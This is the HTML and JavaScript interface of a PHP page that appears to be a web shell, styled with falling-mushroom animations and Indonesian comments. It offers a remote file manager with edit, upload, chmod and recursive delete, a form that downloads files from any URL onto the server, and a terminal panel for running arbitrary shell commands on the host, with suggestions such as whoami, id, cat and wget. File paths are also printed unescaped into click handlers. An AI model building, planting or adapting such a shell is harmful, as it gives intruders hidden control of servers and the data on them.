            <button class="tool-btn" onclick="showModal('createFolderModal')">📁 NEW FOLDER</button>
            <button class="tool-btn" onclick="showModal('urlDownloadModal')">🌐 DOWNLOAD URL</button>
        </div>

        <!-- Bulk Actions -->
        <div id="bulkActions" class="bulk-actions">
            <span style="color: #ff0000; margin-right: 15px;">
                ⚠️ <span id="selectedCount">0</span> items selected
            </span>
            <button type="button" class="tool-btn" onclick="deleteSelected()" style="background: #ff0000; color: #fff;">
                🗑️ DELETE SELECTED
            </button>
        </div>

        <!-- Hidden Form untuk Bulk Delete -->
        <form id="bulkForm" method="post" style="display: none;">
            <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($path); ?>">
            <input type="hidden" name="bulk_delete" value="1">
            <div id="selectedItemsContainer"></div>
        </form>
        
        <table class="file-table">
            <thead>
                <tr>
                    <th class="checkbox-cell">
                        <input type="checkbox" onclick="selectAll()" class="bulk-checkbox" title="Select All">
                    </th>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Permissions</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php if ($path !== '/'): ?>
                <tr>
                    <td class="checkbox-cell">-</td>
                    <td>📁 <span class="dir" onclick="navigateTo('<?php echo dirname($path); ?>')">[PARENT DIRECTORY]</span></td>
                    <td>-</td>
                    <td>-</td>
                    <td>-</td>
                </tr>
                <?php endif; ?>
                
                <?php foreach ($folders as $item): ?>
                <tr>
                    <td class="checkbox-cell">
                        <input type="checkbox" class="item-checkbox" data-path="<?php echo htmlspecialchars($item['path']); ?>" onchange="toggleBulkActions()">
                    </td>
                    <td>
                        📁 <span class="dir" onclick="navigateTo('<?php echo $item['path']; ?>')">
                            <?php echo htmlspecialchars($item['name']); ?>/
                        </span>
                    </td>
                    <td><?php echo $item['size']; ?></td>
                    <td>
                        <input type="text" class="modal-input" id="perms_<?php echo md5($item['path']); ?>" 
                               value="<?php echo $item['perms']; ?>" style="width: 60px;">
                        <button class="action-btn" onclick="chmodFile('<?php echo $item['path']; ?>', 'perms_<?php echo md5($item['path']); ?>')">CHMOD</button>
                    </td>
                    <td class="actions">
                        <button class="action-btn" onclick="renameItem('<?php echo $item['path']; ?>', '<?php echo $item['name']; ?>')">✏️</button>
                        <button class="action-btn" onclick="deleteItem('<?php echo $item['path']; ?>')">❌</button>
                    </td>
                </tr>
                <?php endforeach; ?>
                
                <?php foreach ($files as $item): ?>
                <tr>
                    <td class="checkbox-cell">
                        <input type="checkbox" class="item-checkbox" data-path="<?php echo htmlspecialchars($item['path']); ?>" onchange="toggleBulkActions()">
                    </td>
                    <td>
                        📄 <span class="file"><?php echo htmlspecialchars($item['name']); ?></span>
                    </td>
                    <td><?php echo $item['size']; ?></td>
                    <td>
                        <input type="text" class="modal-input" id="perms_<?php echo md5($item['path']); ?>" 
                               value="<?php echo $item['perms']; ?>" style="width: 60px;">
                        <button class="action-btn" onclick="chmodFile('<?php echo $item['path']; ?>', 'perms_<?php echo md5($item['path']); ?>')">CHMOD</button>
                    </td>
                    <td class="actions">
                        <button class="action-btn" onclick="downloadFile('<?php echo $item['path']; ?>')">📥</button>
                        <button class="action-btn" onclick="editFile('<?php echo $item['path']; ?>')">📝</button>
                        <button class="action-btn" onclick="renameItem('<?php echo $item['path']; ?>', '<?php echo $item['name']; ?>')">✏️</button>
                        <button class="action-btn" onclick="deleteItem('<?php echo $item['path']; ?>')">❌</button>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>
    
    <div id="terminal-tab" class="tab-content <?php echo $current_tab == 'terminal' ? 'active' : ''; ?>">
        <div class="terminal-container" id="terminalOutput">
            <div class="terminal-output terminal-info">🎮 SUPER BJORWI TERMINAL v3.0</div>
            <div class="terminal-output terminal-info">Type commands below to execute on the server:</div>
            <div class="terminal-output terminal-info">Try: pwd, ls, whoami, id, date, cat [file], echo "text", help</div>
            <div class="terminal-output terminal-info">Download: wget https://example.com/file.txt</div>
            <div class="terminal-output terminal-info">Download with custom name: wget -O custom.txt https://example.com/file.txt</div>
            <?php if (isset($_SESSION['terminal_output'])): ?>
                <div class="terminal-output terminal-success">$ <?php echo htmlspecialchars($_SESSION['last_command']); ?></div>
                <div class="terminal-output"><?php 
                    $output = $_SESSION['terminal_output'];
                    if (strpos($output, 'error') !== false || strpos($output, 'denied') !== false || strpos($output, 'cannot') !== false) {
                        echo '<div class="terminal-error">' . nl2br(htmlspecialchars($output)) . '</div>';
                    } else {
                        echo nl2br(htmlspecialchars($output));
                    }
                ?></div>
                <?php unset($_SESSION['terminal_output']); ?>
            <?php endif; ?>
        </div>
        <form method="post" class="cmd-form" id="terminalForm">
            <span class="terminal-prompt">$</span>
            <input type="text" name="terminal_cmd" class="terminal-input" placeholder="Enter command..." required autofocus id="terminalInput">
            <button type="submit" class="tool-btn" style="margin-left: 10px;">EXECUTE</button>
        </form>
    </div>
    
    <?php if (isset($edit_path)): ?>
    <div id="edit-tab" class="tab-content active">
        <div class="path-bar">
            📝 Editing: <?php echo htmlspecialchars($edit_path); ?>
        </div>
        
        <form method="post">
            <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_path); ?>">
            <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($path); ?>">
            
            <textarea name="file_content" class="edit-textarea" placeholder="File content..."><?php echo $file_content; ?></textarea>
            
            <div class="tool-bar">
                <button type="submit" name="edit_file" class="tool-btn">💾 SAVE FILE</button>
                <button type="button" class="tool-btn" onclick="switchTab('files')">❌ CANCEL</button>
                <span style="color: #fff; margin-left: 20px;">
                    File size: <?php echo round(filesize($edit_path) / 1024, 2); ?> KB
                </span>
            </div>
        </form>
    </div>
    <?php endif; ?>
    
    <!-- Modal Windows -->
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <div class="modal-title">📤 UPLOAD FILE</div>
            <form method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $path; ?>">
                <input type="file" name="file" class="modal-input" required>
                <div style="display: flex; gap: 10px; margin-top: 20px;">
                    <button type="submit" name="upload" class="tool-btn">UPLOAD</button>
                    <button type="button" class="tool-btn" onclick="hideModal('uploadModal')">CANCEL</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="urlDownloadModal" class="modal">
        <div class="modal-content">
            <div class="modal-title">🌐 DOWNLOAD FROM URL</div>
            <form method="post">
                <input type="hidden" name="current_path" value="<?php echo $path; ?>">
                <input type="url" name="download_url" class="modal-input" placeholder="https://example.com/file.txt" required>
                <input type="text" name="filename" class="modal-input" placeholder="filename.txt (optional)">
                <div style="display: flex; gap: 10px; margin-top: 20px;">
                    <button type="submit" name="download_url_submit" class="tool-btn">DOWNLOAD</button>
                    <button type="button" class="tool-btn" onclick="hideModal('urlDownloadModal')">CANCEL</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <div class="modal-title">✏️ RENAME</div>
            <form method="post">
                <input type="hidden" name="old_path" id="renameOldPath">
                <input type="hidden" name="current_path" id="renameCurrentPath" value="<?php echo htmlspecialchars($path); ?>">
                <input type="text" name="new_name" class="modal-input" id="renameNewName" placeholder="New name" required>
                <div style="display: flex; gap: 10px; margin-top: 20px;">
                    <button type="submit" name="rename" class="tool-btn">RENAME</button>
                    <button type="button" class="tool-btn" onclick="hideModal('renameModal')">CANCEL</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <div class="modal-title">📄 CREATE FILE</div>
            <form method="post">
                <input type="hidden" name="current_path" value="<?php echo $path; ?>">
                <input type="text" name="filename" class="modal-input" placeholder="filename.txt" required>
                <div style="display: flex; gap: 10px; margin-top: 20px;">
                    <button type="submit" name="create_file" class="tool-btn">CREATE</button>
                    <button type="button" class="tool-btn" onclick="hideModal('createFileModal')">CANCEL</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <div class="modal-title">📁 CREATE FOLDER</div>
            <form method="post">
                <input type="hidden" name="current_path" value="<?php echo $path; ?>">
                <input type="text" name="foldername" class="modal-input" placeholder="foldername" required>
                <div style="display: flex; gap: 10px; margin-top: 20px;">
                    <button type="submit" name="create_folder" class="tool-btn">CREATE</button>
                    <button type="button" class="tool-btn" onclick="hideModal('createFolderModal')">CANCEL</button>
                </div>
            </form>
        </div>
    </div>

    <script>
        // ==================== MUSHROOM EFFECTS ====================
        
        // Efek jamur jatuh saat hover
        function createMushroomFall(x, y) {
            const mushroom = document.createElement('div');
            mushroom.className = 'mushroom-fall';
            mushroom.style.left = (x + Math.random() * 40 - 20) + 'px';
            mushroom.style.top = (y - 50) + 'px';
            document.body.appendChild(mushroom);
            
            // Animasi jatuh
            mushroom.style.animation = `mushroomFall ${0.5 + Math.random() * 0.5}s forwards`;
            
            // Hapus setelah animasi selesai
            setTimeout(() => {
                if (mushroom.parentNode) {
                    mushroom.parentNode.removeChild(mushroom);
                }
            }, 1000);
        }
        
        // Efek jamur besar saat klik
        function createBigMushroom(x, y) {
            const mushroom = document.createElement('div');
            mushroom.className = 'mushroom-big';
            mushroom.style.left = (x - 40) + 'px';
            mushroom.style.top = (y - 40) + 'px';
            document.body.appendChild(mushroom);
            
            // Animasi pop
            mushroom.style.animation = `mushroomPop 0.8s forwards`;
            
            // Hapus setelah animasi selesai
            setTimeout(() => {
                if (mushroom.parentNode) {
                    mushroom.parentNode.removeChild(mushroom);
                }
            }, 800);
        }
        
        // Event listener untuk hover pada elemen interaktif
        const interactiveElements = document.querySelectorAll(
            'button, input, a, .tool-btn, .action-btn, .tab, .path-link, .dir'
        );
        
        interactiveElements.forEach(element => {
            // Saat mouse masuk, buat jamur jatuh
            element.addEventListener('mouseenter', (e) => {
                const rect = element.getBoundingClientRect();
                const x = rect.left + rect.width / 2;
                const y = rect.top;
                
                // Buat 3-5 jamur jatuh
                const mushroomCount = 3 + Math.floor(Math.random() * 3);
                for (let i = 0; i < mushroomCount; i++) {
                    setTimeout(() => {
                        createMushroomFall(x, y);
                    }, i * 200);
                }
            });
            
            // Saat klik, buat jamur besar
            element.addEventListener('click', (e) => {
                createBigMushroom(e.clientX, e.clientY);
            });
        });
        
        // Juga buat jamur jatuh saat hover di area kosong (opsional)
        document.addEventListener('mousemove', (e) => {
            // 5% chance untuk spawn jamur saat mouse bergerak cepat
            if (Math.random() < 0.05) {
                createMushroomFall(e.clientX, e.clientY);
            }
        });

        // ==================== FUNGSI UTAMA ====================
        function switchTab(tabName) {
            window.location.href = '?tab=' + tabName + '&path=<?php echo urlencode($path); ?>';
        }
        
        function navigateTo(newPath) {
            window.location.href = '?path=' + encodeURIComponent(newPath) + '&tab=files';
        }
        
        function showModal(modalId) {
            document.getElementById(modalId).style.display = 'block';
        }
        
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        function editFile(filePath) {
            window.location.href = '?edit=' + encodeURIComponent(filePath) + '&path=<?php echo urlencode($path); ?>';
        }
        
        function renameItem(oldPath, oldName) {
            document.getElementById('renameOldPath').value = oldPath;
            document.getElementById('renameCurrentPath').value = '<?php echo htmlspecialchars($path); ?>';
            document.getElementById('renameNewName').value = oldName;
            showModal('renameModal');
            
            setTimeout(() => {
                const input = document.getElementById('renameNewName');
                input.focus();
                input.select();
            }, 100);
        }
        
        function deleteItem(path) {
            if (confirm('⚠️ DANGER! This will PERMANENTLY delete:\n\n' + path + '\n\nAnd ALL its contents (files and sub-folders)!\n\nThis action cannot be undone!\n\nAre you absolutely sure?')) {
                window.location.href = '?delete=' + encodeURIComponent(path) + '&current_path=<?php echo urlencode($path); ?>&tab=files';
            }
        }
        
        function downloadFile(path) {
            window.location.href = '?download=' + encodeURIComponent(path);
        }
        
        function chmodFile(path, inputId) {
            const permission = document.getElementById(inputId).value;
            const form = document.createElement('form');
            form.method = 'post';
            form.innerHTML = `
                <input type="hidden" name="chmod" value="1">
                <input type="hidden" name="chmod_path" value="${path}">
                <input type="hidden" name="permission" value="${permission}">
            `;
            document.body.appendChild(form);
            form.submit();
        }
        
        // ==================== BULK ACTIONS ====================
        function toggleBulkActions() {
            const checkboxes = document.querySelectorAll('.item-checkbox:checked');
            const bulkActions = document.getElementById('bulkActions');
            const selectedCount = document.getElementById('selectedCount');
            
            selectedCount.textContent = checkboxes.length;
            bulkActions.style.display = checkboxes.length > 0 ? 'block' : 'none';
        }
        
        function selectAll() {
            const checkboxes = document.querySelectorAll('.item-checkbox');
            const selectAll = document.querySelector('.bulk-checkbox');
            const isChecked = selectAll.checked;
            
            checkboxes.forEach(cb => cb.checked = isChecked);
            toggleBulkActions();
        }
        
        function deleteSelected() {
            const checkboxes = document.querySelectorAll('.item-checkbox:checked');
            
            if (checkboxes.length === 0) {
                alert('No items selected!');
                return;
            }
            
            const itemNames = Array.from(checkboxes).map(cb => {
                const path = cb.getAttribute('data-path');
                return path.split('/').pop();
            }).join(', ');
            
            if (confirm(`⚠️ DANGER! This will PERMANENTLY delete ${checkboxes.length} items and ALL their contents!\n\nThis includes:\n• All files in selected folders\n• All sub-folders and their contents\n• This action cannot be undone!\n\nDelete:\n${itemNames}\n\nAre you absolutely sure?`)) {
                const container = document.getElementById('selectedItemsContainer');
                container.innerHTML = '';
                
                checkboxes.forEach((checkbox, index) => {
                    const path = checkbox.getAttribute('data-path');
                    const input = document.createElement('input');
                    input.type = 'hidden';
                    input.name = `selected_items[${index}]`;
                    input.value = path;
                    container.appendChild(input);
                });
                
                document.getElementById('bulkForm').submit();
            }
        }
        
        const terminalOutput = document.getElementById('terminalOutput');
        if (terminalOutput) {
            terminalOutput.scrollTop = terminalOutput.scrollHeight;
        }
        
        const terminalInput = document.getElementById('terminalInput');
        if (terminalInput && '<?php echo $current_tab; ?>' === 'terminal') {
            terminalInput.focus();
            
            let commandHistory = [];
            let historyIndex = -1;
            
            terminalInput.addEventListener('keydown', function(e) {
                if (e.key === 'Enter') {
                    if (this.value.trim()) {
                        commandHistory.unshift(this.value.trim());
                        if (commandHistory.length > 50) commandHistory.pop();
                        historyIndex = -1;
                    }
                }
                else if (e.key === 'ArrowUp') {
                    e.preventDefault();
                    if (commandHistory.length > 0) {
                        historyIndex = Math.min(historyIndex + 1, commandHistory.length - 1);
                        this.value = commandHistory[historyIndex];
                    }
                }
                else if (e.key === 'ArrowDown') {
                    e.preventDefault();
                    if (historyIndex > 0) {
                        historyIndex = Math.max(historyIndex - 1, 0);
                        this.value = commandHistory[historyIndex];
                    } else {
                        historyIndex = -1;
                        this.value = '';
                    }
                }
            });
        }
        
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.style.display = 'none';
            }
        }
        
        document.addEventListener('DOMContentLoaded', function() {
            const terminalInput = document.getElementById('terminalInput');
            if (terminalInput && '<?php echo $current_tab; ?>' === 'terminal') {
                terminalInput.focus();
            }
        });
    </script>
</body>
</html>